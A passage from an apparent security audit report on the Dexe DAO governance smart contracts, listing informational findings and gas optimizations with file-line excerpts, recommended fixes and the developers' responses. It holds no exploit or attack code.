Recommended Mitigation: Use Uniswap TWAP or Chainlink price oracle for manipulation-resistant pricing data.

Dexe: Functionality removed.

7.5.3 Create Proposal has the exact same reward as moving a proposal to validators creating disproportionate incentives

Description: Users initiating a new proposal via`GovPool::createProposal` are rewarded the same incentives as users who merely move a proposal after successful pool voting to validators.

Note that creating a new proposal involves a lot of effort in terms of designing a proposal acceptable to the broader DAO community, setting up the proposal URL, and creating for & against actions for a proposal. The amount of gas consumed for proposal creation is higher than moving a successful proposal to validators.

Impact: Having the same rewards for both the above actions creates misaligned incentives.

Recommended Mitigation: Consider changing rewards for `GovPool::moveProposalToValidators` to type `Rewards.Execute`. In effect, rewards for moving a proposal to validators is the same as rewards for executing a successful proposal.

Dexe: Fixed in PR168.

Cyfrin: Verified.

7.5.4 Missing `address(0)` checks when assigning values to address state variables

Description: Missing `address(0)` checks when assigning values to address state variables.

Impact: Address state variables may be unexpectedly set to `address(0)`.

Proof of Concept:

```
File: gov/GovPool.sol

344:          _nftMultiplier = nftMultiplierAddress;
```

```
File: gov/proposals/TokenSaleProposal.sol

63:          govAddress = _govAddress;
```

From Solarity library:

```
File: contracts-registry/pools/AbstractPoolContractsRegistry.sol

51:          _contractsRegistry = contractsRegistry_;
```

```
File: contracts-registry/pools/pool-factory/AbstractPoolFactory.sol

31:          _contractsRegistry = contractsRegistry_;
```

```
File: contracts-registry/pools/proxy/ProxyBeacon.sol

33:          _implementation = newImplementation_;
```

Recommended Mitigation: Consider adding above `address(0)` checks.

Dexe: Acknowledged; the provided examples are either related to PoolFactory (where no address(0) are possible) or to an NFTMultiplier which is intended to be zero under some business conditions.

7.5.5 Events are missing indexed fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields).

Impact: Slower access for off-chain tools that parse events.

Proof of Concept:

```
File: factory/PoolFactory.sol

43:     event DaoPoolDeployed(
```

```
File: gov/ERC721/multipliers/AbstractERC721Multiplier.sol

25:     event Minted(uint256 tokenId, address to, uint256 multiplier, uint256 duration);

26:     event Locked(uint256 tokenId, address sender, bool isLocked);

27:     event Changed(uint256 tokenId, uint256 multiplier, uint256 duration);
```

```
File: gov/ERC721/multipliers/DexeERC721Multiplier.sol

21:     event AverageBalanceChanged(address user, uint256 averageBalance);
```

```
File: gov/GovPool.sol

87:     event Delegated(address from, address to, uint256 amount, uint256[] nfts, bool isDelegate);

88:     event DelegatedTreasury(address to, uint256 amount, uint256[] nfts, bool isDelegate);

89:     event Deposited(uint256 amount, uint256[] nfts, address sender);

90:     event Withdrawn(uint256 amount, uint256[] nfts, address sender);
```

```
File: gov/proposals/DistributionProposal.sol

31:     event DistributionProposalClaimed(
```

File: gov/proposals/TokenSaleProposal.sol

```
44:     event TierCreated(
49:     event Bought(uint256 tierId, address buyer);
50:     event Whitelisted(uint256 tierId, address user);
```

File: gov/settings/GovSettings.sol

```
16:     event SettingsChanged(uint256 settingsId, string description);
17:     event ExecutorChanged(uint256 settingsId, address executor);
```

File: gov/user-keeper/GovUserKeeper.sol

```
52:     event SetERC20(address token);
53:     event SetERC721(address token);
```

File: gov/validators/GovValidators.sol

```
38:     event ExternalProposalCreated(uint256 proposalId, uint256 quorum);
39:     event InternalProposalCreated(
46:     event InternalProposalExecuted(uint256 proposalId, address executor);
48:     event Voted(uint256 proposalId, address sender, uint256 vote, bool isInternal, bool isVoteFor);
49:     event VoteCanceled(uint256 proposalId, address sender, bool isInternal);
```

File: interfaces/gov/ERC721/IERC721Expert.sol

```
20:     event TagsAdded(uint256 indexed tokenId, string[] tags);
```

File: libs/gov/gov-pool/GovPoolCreate.sol

```
24:     event ProposalCreated(
34:     event MovedToValidators(uint256 proposalId, address sender);
```

File: libs/gov/gov-pool/GovPoolExecute.sol

```
24:     event ProposalExecuted(uint256 proposalId, bool isFor, address sender);
```

File: libs/gov/gov-pool/GovPoolMicropool.sol

```
23:     event DelegatorRewardsClaimed(
```

File: libs/gov/gov-pool/GovPoolOffchain.sol

```
16:     event OffchainResultsSaved(string resultsHash, address sender);
```

File: libs/gov/gov-pool/GovPoolRewards.sol

```
19:     event RewardClaimed(uint256 proposalId, address sender, address token, uint256 rewards);
20:     event VotingRewardClaimed(
```

File: libs/gov/gov-pool/GovPoolVote.sol

```
19:     event VoteChanged(uint256 proposalId, address voter, bool isVoteFor, uint256 totalVoted);
20:     event QuorumReached(uint256 proposalId, uint256 timestamp);
21:     event QuorumUnreached(uint256 proposalId);
```

File: libs/gov/gov-validators/GovValidatorsExecute.sol

```
16:     event ChangedValidatorsBalances(address[] validators, uint256[] newBalance);
```

File: user/UserRegistry.sol

```
15:     event UpdatedProfile(address user, string url);
16:     event Agreed(address user, bytes32 documentHash);
17:     event SetDocumentHash(bytes32 hash);
```

From Solarity library:

File: contracts-registry/AbstractContractsRegistry.sol

```
44:     event ContractAdded(string name, address contractAddress);
45:     event ProxyContractAdded(string name, address contractAddress, address implementation);
46:     event ProxyContractUpgraded(string name, address newImplementation);
47:     event ContractRemoved(string name);
```

File: contracts-registry/pools/proxy/ProxyBeacon.sol

```
19:     event Upgraded(address implementation);
```

File: diamond/Diamond.sol

```
39:     event DiamondCut(Facet[] facets, address initFacet, bytes initData);
```

File: diamond/utils/InitializableStorage.sol

```
23:     event Initialized(bytes32 storageSlot);
```

File: interfaces/access-control/IMultiOwnable.sol

```
8:     event OwnersAdded(address[] newOwners);
9:     event OwnersRemoved(address[] removedOwners);
```

File: interfaces/access-control/IRBAC.sol

```
15:     event GrantedRoles(address to, string[] rolesToGrant);
16:     event RevokedRoles(address from, string[] rolesToRevoke);
18:     event AddedPermissions(string role, string resource, string[] permissionsToAdd, bool allowed);
19:     event RemovedPermissions(
```

File: interfaces/access-control/extensions/IRBACGroupable.sol

```
8:     event AddedToGroups(address who, string[] groupsToAddTo);
9:     event RemovedFromGroups(address who, string[] groupsToRemoveFrom);
11:     event GrantedGroupRoles(string groupTo, string[] rolesToGrant);
12:     event RevokedGroupRoles(string groupFrom, string[] rolesToRevoke);
14:     event ToggledDefaultGroup(bool defaultGroupEnabled);
```

File: interfaces/compound-rate-keeper/ICompoundRateKeeper.sol

```
8:     event CapitalizationPeriodChanged(uint256 newCapitalizationPeriod);
9:     event CapitalizationRateChanged(uint256 newCapitalizationRate);
```

Recommended Mitigation: Consider indexing fields in the listed events.

Dexe: Acknowledged; there are many services that we use which rely on the exact signature of events. Changing the events would require changing the services; we may do it in the future.

7.5.6 `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`

Description: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`.

Use `abi.encode()` instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. `abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456) => 0x0...1230...456`).

Unless there is a compelling reason, `abi.encode` should be preferred. If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead. If all arguments are strings and or bytes, `bytes.concat()` should be used instead.

Proof of Concept:

File: factory/PoolFactory.sol

```
263:         return keccak256(abi.encodePacked(deployer, poolName));
```

File: libs/gov/gov-pool/GovPoolOffchain.sol

```
41:         return keccak256(abi.encodePacked(resultsHash, block.chainid, address(this)));
```

File: user/UserRegistry.sol

```
44:         _signatureHashes[_documentHash][msg.sender] = keccak256(abi.encodePacked(signature));
```

Recommended Mitigation: See description.

Dexe: Acknowledged; there is only one dynamic type "string" in the encoding, so everything is safe. Also, packed encoding is much simpler to handle on the back end.

7.5.7 Use of deprecated library function `safeApprove()`

Description: `safeApprove()` has been deprecated and the official OpenZeppelin documentation recommends using `safeIncreaseAllowance()` & `safeDecreaseAllowance()`.

Impact: INFO

Proof of Concept:

File: core/PriceFeed.sol

```
385:             IERC20(token).safeApprove(address(uniswapV2Router), MAX_UINT);
```

Recommended Mitigation: Consider replacing deprecated functions of OpenZeppelin contracts.

Dexe: Fixed as contract removed from codebase.

Cyfrin: Verified.

7.5.8 Use `safeTransfer()` instead of `transfer()` for ERC20

Description: Use `safeTransfer` instead of `transfer` for ERC20.

Impact: INFO

Proof of Concept:

```
File: gov/GovPool.sol

248:             IERC20(token).transfer(address(_govUserKeeper), amount.from18(token.decimals()));
```

Recommended Mitigation: Use `safeTransfer` instead of `transfer` for ERC20.

Dexe: Fixed in commit 9078949.

Cyfrin: Verified.

7.6 Gas Optimization

7.6.1 Unnecessary libraries in `CoreProperties` contract can be removed

Description: `CoreProperties` includes the following unnecessary libraries that are not being called in the contract logic:

- `Math`
- `AddressSetHelper`
- `EnumerableSet`
- `Paginator`

Impact: Libraries needlessly increase the contract bytecode and consume higher gas during deployment.

Recommended Mitigation: Consider refactoring the code and removing unused libraries.

Dexe: Fixed in commit b417eaf.

Cyfrin: Verified.

7.6.2 Unnecessary encoding of `participationDetails` in `TokenSaleProposalCreate::_setParticipationInfo`

Description: In `TokenSaleProposalCreate::_setParticipationInfo` implementation, when participation type is `TokenLock`, current logic is decoding the `data` to extract the amount, convert this amount to 18 decimals and encoding back again with the new amount.

```
    function _setParticipationInfo(
        ITokenSaleProposal.Tier storage tier,
        ITokenSaleProposal.TierInitParams memory tierInitParams
    ) private {
    ITokenSaleProposal.ParticipationInfo storage participationInfo = tier.participationInfo;

        for (uint256 i = 0; i < tierInitParams.participationDetails.length; i++) {
            ITokenSaleProposal.ParticipationDetails memory participationDetails = tierInitParams
                .participationDetails[i];

               if(){
                  ....
               }
               else if (
                participationDetails.participationType ==
                ITokenSaleProposal.ParticipationType.TokenLock
            ) {
                require(participationDetails.data.length == 64, "TSP: invalid token lock data");

                (address token, uint256 amount) = abi.decode(
                    participationDetails.data,
                    (address, uint256)
                );

                uint256 to18Amount = token == ETHEREUM_ADDRESS
                    ? amount
                    : amount.to18(token.decimals());

     >>           participationDetails.data = abi.encode(token, to18Amount); // @audit encoding not
     ↪  needed

                require(to18Amount > 0, "TSP: zero token lock amount");
                require(
                    participationInfo.requiredTokenLock.set(token, to18Amount),
```

```
                    "TSP: multiple token lock requirements"
                );
            }
        }
    }
```

The encoding is not required as `participationDetails` is stored in memory and has no existence once the `_setParticipationInfo` is executed.

Impact: Gas consumption

Recommended Mitigation: Consider removing data encoding after the amount is normalised to 18 decimals.

Dexe: Fixed in PR155.

Cyfrin: Verified.

7.6.3 Cache array length outside of loops

Description: If array length is not cached, the solidity compiler will always read the length of the array during each iteration. That is, if it is a storage array, this is an extra sload operation (100 additional extra gas for each iteration except for the first) and if it is a memory array, this is an extra mload operation (3 additional gas for each iteration except for the first).

Impact: Gas optimization

Proof of Concept:

```
File: core/PriceFeed.sol

95:         require(foundPath.path.length > 0, "PriceFeed: unreachable asset");

141:         require(foundPath.path.length > 0, "PriceFeed: unreachable asset");

227:             foundPath.amounts.length > 0

228:                 ? (foundPath.amounts[foundPath.amounts.length - 1], foundPath.path)

258:             foundPath.amounts.length > 0 // @audit why is this different than getExtendedPriceOut()
```

```
File: gov/ERC20/ERC20Gov.sol

55:         for (uint256 i = 0; i < params.users.length; i++) {
```

```
File: gov/GovPool.sol

256:             for (uint256 i; i < nftIds.length; i++) {

305:         for (uint256 i; i < proposalIds.length; i++) {

318:         for (uint256 i; i < proposalIds.length; i++) {

415:         return _userInfos[user].votedInProposals.length();
```

File: gov/proposals/DistributionProposal.sol

```
79:         for (uint256 i; i < proposalIds.length; i++) {
```

File: gov/proposals/TokenSaleProposal.sol

```
82:         for (uint256 i = 0; i < tierInitParams.length; i++) {

96:         for (uint256 i = 0; i < requests.length; i++) {

102:         for (uint256 i = 0; i < tierIds.length; i++) {

108:         for (uint256 i = 0; i < tierIds.length; i++) {

114:         for (uint256 i = 0; i < tierIds.length; i++) {

120:         for (uint256 i = 0; i < tierIds.length; i++) {

184:         for (uint256 i = 0; i < tierIds.length; i++) {

195:         for (uint256 i = 0; i < tierIds.length; i++) {

205:         for (uint256 i = 0; i < recoveringAmounts.length; i++) {

223:         for (uint256 i = 0; i < userViews.length; i++) {

250:         for (uint256 i = 0; i < ids.length; i++) {
```

File: gov/settings/GovSettings.sol

```
36:         for (; settingsId < proposalSettings.length; settingsId++) {

63:         for (uint256 i; i < _settings.length; i++) {

75:         for (uint256 i; i < _settings.length; i++) {

87:         for (uint256 i; i < executors.length; i++) {
```

File: gov/user-keeper/GovUserKeeper.sol

```
210:         for (uint256 i; i < nftIds.length; i++) {
229:         for (uint256 i; i < nftIds.length; i++) {
259:         for (uint256 i; i < nftIds.length; i++) {
291:         for (uint256 i; i < nftIds.length; i++) {
316:         for (uint256 i; i < nftIds.length; i++) {
346:         for (uint256 i; i < nftIds.length; i++) {
389:         for (uint256 i; i < lockedProposals.length; i++) {
429:         for (uint256 i; i < nftIds.length; i++) {
445:         for (uint256 i; i < nftIds.length; i++) {
461:         for (uint256 i = 0; i < nftIds.length; i++) {
519:         totalBalance = _getBalanceInfoStorage(voter, voteType).nftBalance.length();
529:             totalBalance += _usersInfo[voter].allDelegatedNfts.length();
594:             for (uint256 i; i < nftIds.length; i++) {
708:             delegatorInfo.delegatedNfts[delegatee].length() == 0
```

File: libs/gov/gov-pool/GovPoolCreate.sol

```
69:         for (uint256 i; i < actionsOnFor.length; i++) {
73:         for (uint256 i; i < actionsOnAgainst.length; i++) {
161:         for (uint256 i; i < actions.length; i++) {
218:         for (uint256 i; i < actions.length; i++) {
273:         for (uint256 i; i < actions.length - 1; i++) {
298:         for (uint256 i; i < actionsFor.length; i++) {
325:         for (uint256 i; i < actions.length; i++) {
```

File: libs/gov/gov-pool/GovPoolCredit.sol

```
25:         uint256 length = creditInfo.tokenList.length;
33:         for (uint256 i = 0; i < tokens.length; i++) {
44:         uint256 infoLength = creditInfo.tokenList.length;
```

File: libs/gov/gov-pool/GovPoolMicropool.sol

```
100:         for (uint256 i; i < proposalIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolRewards.sol

```
165:         for (uint256 i = 0; i < proposalIds.length; i++) {
```

```
189:         for (uint256 i = 0; i < rewards.offchainTokens.length; i++) {
```

File: libs/gov/gov-pool/GovPoolUnlock.sol

```
27:         for (uint256 i; i < proposalIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolView.sol

```
147:         for (uint256 i; i < unlockedIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolVote.sol

```
88:         for (uint256 i = 0; i < proposalIds.length; i++) {
```

```
174:         for (uint256 i; i < nftIds.length; i++) {
```

File: libs/gov/gov-user-keeper/GovUserKeeperView.sol

```
35:         for (uint256 i = 0; i < users.length; i++) {
```

```
84:         for (uint256 i = 0; i < votingPowers.length; i++) {
```

```
94:             for (uint256 j = 0; j < power.perNftPower.length; j++) {
```

```
126:                     for (uint256 i; i < nftIds.length; i++) {
```

```
139:                 for (uint256 i; i < nftIds.length; i++) {
```

```
163:         delegationsInfo = new IGovUserKeeper.DelegationInfoView[](userInfo.delegatees.length());
```

```
165:         for (uint256 i; i < delegationsInfo.length; i++) {
```

```
192:         for (uint256 i; i < lockedProposals.length; i++) {
```

```
199:         uint256 nftsLength = balanceInfo.nftBalance.length();
```

```
206:                 for (uint256 j = 0; j < unlockedNfts.length; j++) {
```

File: libs/gov/gov-validators/GovValidatorsUtils.sol

```
74:         for (uint256 i = 0; i < userAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol

```
171:         if (participationInfo.requiredTokenLock.length() > 0) {
175:         if (participationInfo.requiredNftLock.length() > 0) {
200:         uint256 lockedTokenLength = purchaseInfo.lockedTokens.length();
212:         uint256 lockedNftLength = purchaseInfo.lockedNftAddresses.length();
224:         uint256 purchaseTokenLength = purchaseInfo.spentAmounts.length();
```

File: libs/gov/token-sale-proposal/TokenSaleProposalCreate.sol

```
65:         for (uint256 i = 0; i < _tierInitParams.participationDetails.length; i++) {
109:         for (uint256 i = 0; i < tierInitParams.participationDetails.length; i++) {
187:         for (uint256 i = 0; i < tierInitParams.purchaseTokenAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalWhitelist.sol

```
75:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {
84:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {
136:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {
144:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {
157:         for (uint256 i = 0; i < request.users.length; i++) {
```

File: libs/price-feed/UniswapV2PathFinder.sol

```
86:                 if (foundPath.path.length == 0 || compare(amounts, foundPath.amounts)) {
99:                 if (foundPath.path.length == 0 || compare(amounts, foundPath.amounts)) {
```

File: libs/utils/AddressSetHelper.sol

```
10:         for (uint256 i = 0; i < array.length; i++) {
19:         for (uint256 i = 0; i < array.length; i++) {
```

From Solarity library:

```
File: access-control/RBAC.sol

103:         for (uint256 i = 0; i < permissionsToAdd_.length; i++) {

124:         for (uint256 i = 0; i < permissionsToRemove_.length; i++) {

173:         for (uint256 i = 0; i < allowed_.length; i++) {

178:         for (uint256 i = 0; i < disallowed_.length; i++) {

200:         for (uint256 i = 0; i < roles_.length; i++) {
```

```
File: access-control/extensions/RBACGroupable.sol

157:         for (uint256 i = 0; i < roles_.length; i++) {

169:         for (uint256 i = 0; i < groups_.length; i++) {

172:             for (uint256 j = 0; j < roles_.length; j++) {
```

```
File: contracts-registry/pools/AbstractPoolContractsRegistry.sol

125:         for (uint256 i = 0; i < names_.length; i++) {
```

```
File: diamond/Diamond.sol

78:         for (uint256 i; i < facets_.length; i++) {

110:         for (uint256 i = 0; i < selectors_.length; i++) {

134:         for (uint256 i = 0; i < selectors_.length; i++) {

161:         for (uint256 i; i < selectors_.length; i++) {
```

```
File: diamond/DiamondStorage.sol

53:         facets_ = new FacetInfo[](_facets.length());

55:         for (uint256 i = 0; i < facets_.length; i++) {

75:         for (uint256 i = 0; i < selectors_.length; i++) {
```

File: libs/arrays/ArrayHelper.sol

```
98:         for (uint256 i = 1; i < prefixes_.length; i++) {
```

```
160:         for (uint256 i = 0; i < what_.length; i++) {
```

```
172:         for (uint256 i = 0; i < what_.length; i++) {
```

```
184:         for (uint256 i = 0; i < what_.length; i++) {
```

```
196:         for (uint256 i = 0; i < what_.length; i++) {
```

File: libs/arrays/SetHelper.sol

```
22:         for (uint256 i = 0; i < array_.length; i++) {
```

```
28:         for (uint256 i = 0; i < array_.length; i++) {
```

```
34:         for (uint256 i = 0; i < array_.length; i++) {
```

```
45:         for (uint256 i = 0; i < array_.length; i++) {
```

```
51:         for (uint256 i = 0; i < array_.length; i++) {
```

```
57:         for (uint256 i = 0; i < array_.length; i++) {
```

File: mock/libs/data-structures/StringSetMock.sol

```
38:         for (uint256 i = 0; i < set_.length; i++) {
```

File: mock/libs/data-structures/memory/VectorMock.sol

```
42:         for (uint256 i = 0; i < vector2_.length(); i++) {
```

```
70:         for (uint256 i = 0; i < vector_.length(); i++) {
```

```
100:         for (uint256 i = 0; i < array_.length; i++) {
```

File: mock/libs/zkp/snarkjs/VerifierMock.sol

```
34:         for (uint256 i = 0; i < inputs_.length; i++) {
```

```
54:         for (uint256 i = 0; i < inputs_.length; i++) {
```

File: oracles/UniswapV2Oracle.sol

```
137:         return _pairInfos[pair_].blockTimestamps.length;
```

Recommended Mitigation: Cache array length outside of loops or when array length is accessed multiple times.

Dexe: Acknowledged; we do not consider optimizations of 2-3 wei as a huge benefit. Code readability is a priority in this case.

7.6.4 State variables should be cached in stack variables rather than re-reading them from storage

Description: The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

Impact: Gas optimization

Proof of Concept:

```
File: core/PriceFeed.sol

385:             IERC20(token).safeApprove(address(uniswapV2Router), MAX_UINT);
```

```
File: gov/GovPool.sol

257:                 nft.safeTransferFrom(address(this), address(_govUserKeeper), nftIds[i]);
```

```
File: gov/user-keeper/GovUserKeeper.sol

567:         ERC721Power nftContract = ERC721Power(nftAddress);
```

Recommended Mitigation: State variables should be cached in stack variables rather than re-reading them from storage.

Dexe: Acknowledged; we do not consider optimizations of 2-3 wei as a huge benefit. Code readability is a priority in this case. Wherever optimizations made sense, we optimized the code.

7.6.5 Use unchecked block to increment loop counter when overflow impossible

Description: Use unchecked block to increment loop counter when overflow impossible. Prefer `++i` to `i++` for loop counter increment. Included as standard optimization in Solidity 0.8.22 under certain conditions.

Impact: Gas optimization

Proof of Concept:

```
File: gov/ERC20/ERC20Gov.sol

55:         for (uint256 i = 0; i < params.users.length; i++) {

55:         for (uint256 i = 0; i < params.users.length; i++) {
```

File: gov/GovPool.sol

```
256:             for (uint256 i; i < nftIds.length; i++) {
256:             for (uint256 i; i < nftIds.length; i++) {
305:         for (uint256 i; i < proposalIds.length; i++) {
305:         for (uint256 i; i < proposalIds.length; i++) {
318:         for (uint256 i; i < proposalIds.length; i++) {
318:         for (uint256 i; i < proposalIds.length; i++) {
```

File: gov/proposals/DistributionProposal.sol

```
79:         for (uint256 i; i < proposalIds.length; i++) {
79:         for (uint256 i; i < proposalIds.length; i++) {
```

File: gov/proposals/TokenSaleProposal.sol

```
82:         for (uint256 i = 0; i < tierInitParams.length; i++) {
82:         for (uint256 i = 0; i < tierInitParams.length; i++) {
96:         for (uint256 i = 0; i < requests.length; i++) {
96:         for (uint256 i = 0; i < requests.length; i++) {
102:         for (uint256 i = 0; i < tierIds.length; i++) {
102:         for (uint256 i = 0; i < tierIds.length; i++) {
108:         for (uint256 i = 0; i < tierIds.length; i++) {
108:         for (uint256 i = 0; i < tierIds.length; i++) {
114:         for (uint256 i = 0; i < tierIds.length; i++) {
114:         for (uint256 i = 0; i < tierIds.length; i++) {
120:         for (uint256 i = 0; i < tierIds.length; i++) {
120:         for (uint256 i = 0; i < tierIds.length; i++) {
184:         for (uint256 i = 0; i < tierIds.length; i++) {
184:         for (uint256 i = 0; i < tierIds.length; i++) {
195:         for (uint256 i = 0; i < tierIds.length; i++) {
195:         for (uint256 i = 0; i < tierIds.length; i++) {
205:         for (uint256 i = 0; i < recoveringAmounts.length; i++) {
```

```
205:         for (uint256 i = 0; i < recoveringAmounts.length; i++) {

223:         for (uint256 i = 0; i < userViews.length; i++) {

223:         for (uint256 i = 0; i < userViews.length; i++) {

250:         for (uint256 i = 0; i < ids.length; i++) {

250:         for (uint256 i = 0; i < ids.length; i++) {
```

File: gov/settings/GovSettings.sol

```
36:         for (; settingsId < proposalSettings.length; settingsId++) {

36:         for (; settingsId < proposalSettings.length; settingsId++) {

63:         for (uint256 i; i < _settings.length; i++) {

63:         for (uint256 i; i < _settings.length; i++) {

65:             _setSettings(_settings[i], settingsId++);

65:             _setSettings(_settings[i], settingsId++);

75:         for (uint256 i; i < _settings.length; i++) {

75:         for (uint256 i; i < _settings.length; i++) {

87:         for (uint256 i; i < executors.length; i++) {

87:         for (uint256 i; i < executors.length; i++) {
```

File: gov/user-keeper/GovUserKeeper.sol

```
210:         for (uint256 i; i < nftIds.length; i++) {

210:         for (uint256 i; i < nftIds.length; i++) {

229:         for (uint256 i; i < nftIds.length; i++) {

229:         for (uint256 i; i < nftIds.length; i++) {

259:         for (uint256 i; i < nftIds.length; i++) {

259:         for (uint256 i; i < nftIds.length; i++) {

291:         for (uint256 i; i < nftIds.length; i++) {

291:         for (uint256 i; i < nftIds.length; i++) {

316:         for (uint256 i; i < nftIds.length; i++) {

316:         for (uint256 i; i < nftIds.length; i++) {

346:         for (uint256 i; i < nftIds.length; i++) {

346:         for (uint256 i; i < nftIds.length; i++) {
```

```
389:         for (uint256 i; i < lockedProposals.length; i++) {

389:         for (uint256 i; i < lockedProposals.length; i++) {

429:         for (uint256 i; i < nftIds.length; i++) {

429:         for (uint256 i; i < nftIds.length; i++) {

445:         for (uint256 i; i < nftIds.length; i++) {

445:         for (uint256 i; i < nftIds.length; i++) {

461:         for (uint256 i = 0; i < nftIds.length; i++) {

461:         for (uint256 i = 0; i < nftIds.length; i++) {

569:         for (uint256 i; i < ownedLength; i++) {

569:         for (uint256 i; i < ownedLength; i++) {

594:             for (uint256 i; i < nftIds.length; i++) {

594:             for (uint256 i; i < nftIds.length; i++) {
```

File: gov/validators/GovValidators.sol

```
215:         for (uint256 i = offset; i < to; i++) {

215:         for (uint256 i = offset; i < to; i++) {
```

File: libs/gov/gov-pool/GovPoolCreate.sol

```
69:         for (uint256 i; i < actionsOnFor.length; i++) {
69:         for (uint256 i; i < actionsOnFor.length; i++) {
73:         for (uint256 i; i < actionsOnAgainst.length; i++) {
73:         for (uint256 i; i < actionsOnAgainst.length; i++) {
161:         for (uint256 i; i < actions.length; i++) {
161:         for (uint256 i; i < actions.length; i++) {
218:         for (uint256 i; i < actions.length; i++) {
218:         for (uint256 i; i < actions.length; i++) {
273:         for (uint256 i; i < actions.length - 1; i++) {
273:         for (uint256 i; i < actions.length - 1; i++) {
273:         for (uint256 i; i < actions.length - 1; i++) {
298:         for (uint256 i; i < actionsFor.length; i++) {
298:         for (uint256 i; i < actionsFor.length; i++) {
325:         for (uint256 i; i < actions.length; i++) {
325:         for (uint256 i; i < actions.length; i++) {
```

File: libs/gov/gov-pool/GovPoolCredit.sol

```
27:         for (uint256 i = 0; i < length; i++) {
27:         for (uint256 i = 0; i < length; i++) {
33:         for (uint256 i = 0; i < tokens.length; i++) {
33:         for (uint256 i = 0; i < tokens.length; i++) {
49:         for (uint256 i = 0; i < infoLength; i++) {
49:         for (uint256 i = 0; i < infoLength; i++) {
70:         for (uint256 i = 0; i < tokensLength; i++) {
70:         for (uint256 i = 0; i < tokensLength; i++) {
```

File: libs/gov/gov-pool/GovPoolExecute.sol

```
60:         for (uint256 i; i < actionsLength; i++) {
60:         for (uint256 i; i < actionsLength; i++) {
```

File: libs/gov/gov-pool/GovPoolMicropool.sol

```
100:         for (uint256 i; i < proposalIds.length; i++) {
100:         for (uint256 i; i < proposalIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolRewards.sol

```
135:             for (uint256 i = length; i > 0; i--) {
135:             for (uint256 i = length; i > 0; i--) {
165:         for (uint256 i = 0; i < proposalIds.length; i++) {
165:         for (uint256 i = 0; i < proposalIds.length; i++) {
189:         for (uint256 i = 0; i < rewards.offchainTokens.length; i++) {
189:         for (uint256 i = 0; i < rewards.offchainTokens.length; i++) {
```

File: libs/gov/gov-pool/GovPoolUnlock.sol

```
27:         for (uint256 i; i < proposalIds.length; i++) {
27:         for (uint256 i; i < proposalIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolView.sol

```
60:         for (uint256 i = offset; i < to; i++) {
60:         for (uint256 i = offset; i < to; i++) {
147:         for (uint256 i; i < unlockedIds.length; i++) {
147:         for (uint256 i; i < unlockedIds.length; i++) {
168:         for (uint256 i; i < proposalsLength; i++) {
168:         for (uint256 i; i < proposalsLength; i++) {
```

File: libs/gov/gov-pool/GovPoolVote.sol

```
88:         for (uint256 i = 0; i < proposalIds.length; i++) {
88:         for (uint256 i = 0; i < proposalIds.length; i++) {
174:         for (uint256 i; i < nftIds.length; i++) {
174:         for (uint256 i; i < nftIds.length; i++) {
```

File: libs/gov/gov-user-keeper/GovUserKeeperView.sol

```
35:         for (uint256 i = 0; i < users.length; i++) {
35:         for (uint256 i = 0; i < users.length; i++) {
84:         for (uint256 i = 0; i < votingPowers.length; i++) {
84:         for (uint256 i = 0; i < votingPowers.length; i++) {
94:             for (uint256 j = 0; j < power.perNftPower.length; j++) {
94:             for (uint256 j = 0; j < power.perNftPower.length; j++) {
126:                     for (uint256 i; i < nftIds.length; i++) {
126:                     for (uint256 i; i < nftIds.length; i++) {
139:                 for (uint256 i; i < nftIds.length; i++) {
139:                 for (uint256 i; i < nftIds.length; i++) {
165:         for (uint256 i; i < delegationsInfo.length; i++) {
165:         for (uint256 i; i < delegationsInfo.length; i++) {
192:         for (uint256 i; i < lockedProposals.length; i++) {
192:         for (uint256 i; i < lockedProposals.length; i++) {
201:         for (uint256 i; i < nftsLength; i++) {
201:         for (uint256 i; i < nftsLength; i++) {
206:                 for (uint256 j = 0; j < unlockedNfts.length; j++) {
206:                 for (uint256 j = 0; j < unlockedNfts.length; j++) {
```

File: libs/gov/gov-validators/GovValidatorsCreate.sol

```
141:         for (uint256 i = 0; i < tokensLength; i++) {
141:         for (uint256 i = 0; i < tokensLength; i++) {
```

File: libs/gov/gov-validators/GovValidatorsExecute.sol

```
42:         for (uint256 i = 0; i < length; i++) {
42:         for (uint256 i = 0; i < length; i++) {
```

File: libs/gov/gov-validators/GovValidatorsUtils.sol

```
74:         for (uint256 i = 0; i < userAddresses.length; i++) {
74:         for (uint256 i = 0; i < userAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol

```
205:         for (uint256 i = 0; i < lockedTokenLength; i++) {
205:         for (uint256 i = 0; i < lockedTokenLength; i++) {
217:         for (uint256 i = 0; i < lockedNftLength; i++) {
217:         for (uint256 i = 0; i < lockedNftLength; i++) {
229:         for (uint256 i = 0; i < purchaseTokenLength; i++) {
229:         for (uint256 i = 0; i < purchaseTokenLength; i++) {
251:         for (uint256 i = 0; i < length; i++) {
251:         for (uint256 i = 0; i < length; i++) {
279:         for (uint256 i = 0; i < length; i++) {
279:         for (uint256 i = 0; i < length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalCreate.sol

```
65:         for (uint256 i = 0; i < _tierInitParams.participationDetails.length; i++) {
65:         for (uint256 i = 0; i < _tierInitParams.participationDetails.length; i++) {
93:         for (uint256 i = offset; i < to; i++) {
93:         for (uint256 i = offset; i < to; i++) {
109:         for (uint256 i = 0; i < tierInitParams.participationDetails.length; i++) {
